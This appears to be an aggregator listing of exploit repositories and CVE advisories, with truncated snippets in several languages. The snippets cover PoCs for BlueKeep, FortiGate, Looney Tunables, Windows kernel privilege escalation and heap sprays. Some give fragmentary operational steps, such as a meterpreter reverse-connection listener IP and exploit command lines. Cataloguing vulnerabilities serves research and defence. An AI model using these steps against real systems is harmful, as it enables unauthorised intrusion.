CVE-2026-42945-NGINX-Rift-Toolkit

CVE-2026-42945 Nginx Rift Vulnerability Toolkit Comprehensive toolkit for scanning, patching, and testing CVE-2026-42945 - a critical RCE vulnerability in nginx Table of Contents Overview CVE Details Features Toolkit Components Requirements Installation Usage Workflow Examples Security...

CVE-2018-4121

CVE-2018-4121 - Exploit RCE de PoC de secciones Wasm de Safari por MWR Labs c 2018 Detalles este exploit de prueba de concepto solo apunta a Safari 11.0.3 13604.5.6 en macOS 10.13.3 17D47. compile el payload de su elección como un dylib con un constructor. ejecute python filetojsarray.py your.dyl...

cve-2019-0708_bluekeep_rce

Ejecutar msfconsole meterpreter/multi/handler escuchando en 192.168.116.133:6000 2. cd rdesktop-1.5.0 && make 3. Modificar config, configurar IP y puerto de conexión de retorno 192.168.116.133 6000 4. Ejecutar ./heapspray 192.168.116.134 134 es la dirección de XP, memoria = 2GB 5. msfconsole...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Componente de Gráficos de Windows RCE x64 Ejecución remota de código crítica mediante JPEG malicioso – Windows 11 24H2 sin parche CVSS 9.8 – Sin privilegios, sin interacción requerida root@kitploit: CVE-2025-50165 - windowscodecs.dll untrusted pointer dereference Discovered by...

CVE-2025-62215_Windows_Kernel_PE

CVE-2025-62215 Exploit PoC Original code credit: https://github.com/dexterm300 🧨 Description This repository contains a proof-of-concept exploit for CVE-2025-62215 , a race condition vulnerability in the Windows kernel that can be triggered via concurrent manipulation of kernel object handles...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 es explotable por este código. nota: el código fue escrito de una manera muy tonta. Prueba de Concepto root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in...

CVE-2023-4911

CVE-2023-4911 - Looney Tunables This is a atm very rough proof of concept for CVE-2023-4911. So far I've only verified it works on Ubuntu 22.10 kinetic. Current version of the exploit contains a fair amount of "magic" offsets. If you have suggestions on how to improve the heap shaping, feel free ...

Ruby_Pricise_Heap_Spray

RubyPriciseHeapSpray Use ruby strings to do a precise heap spray in an win7 env ps. 0c0c0c0c you will have to adjust the last number of iterations on how many times u call the spray function. that's bc of how ruby works.... basically ruby decides to delete all heap allocs of certain sizes if for...

CVE-2022-37969

CVE-2022-37969 Windows Local Privilege Escalation PoC autores: Ricardo Narvaja & Daniel Kazimirow Solid Solo con fines de demostración. El exploit completo funciona en sistemas vulnerables Windows 11 21H2. PoC funcional basado en información previamente publicada por Zscaler Consulte el artículo...

0day-security-software-vulnerability-analysis-technology

0day-security-software-vulnerability-analysis-technology Notes on Using the Companion Resource Pack for "0day Security: Software Vulnerability Analysis Technology Second Edition" The materials in this resource pack are for learning purposes only. No organization, individual, or institution may us...

Foxit-Precise-Heap-Spray

Este repositorio no tiene un README...

CTT-Vsyslog-Vortex-CVE-2023-6246

CTT-Vsyslog-Vortex-CVE-2023-6246 Explotación de desbordamiento de búfer en el montón de vsysloginternal de glibc CVE-2023-6246 mediante la Teoría del Tiempo Convergente α = 0.0302011. Rociado de montón temporal de 33 capas + disparo con bloqueo de fase para una escalada de privilegios locales...

RootMyVivo-Exploit

RMV Exploit — чистая сборка CVE-2026-43499 для iQOO Neo 11 PD2520 Форк boxiaolanya2008/CVE-2026-43499-Neo11Plus, переработанный под RootMyVivo Neo: убрано всё, что не нужно нашему сценарию, оставлено проверенное ядро эксплойта без изменений таймингов. Что убрано от upstream Компонент| Причина...

cve-2021-29627

CVE-2021-29627 Algún código para desencadenar el bug incluyendo macsetfd spray. Se necesita algún spray target, sin embargo...

CVE-2018-4121

CVE-2018-4121 - Exploit de RCE POC de Secciones Wasm de Safari por MWR Labs c 2018 Detalles este exploit de prueba de concepto apunta únicamente a Safari 11.0.3 13604.5.6 en macOS 10.13.3 17D47. compile el payload de su elección como un dylib con un constructor ejecute python filetojsarray.py...

Exploit for Use After Free in Linux Linux_Kernel

RMV Exploit — чистая сборка CVE-2026-43499 для iQOO Neo 11 PD...

SUSE CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

DEBIAN-CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...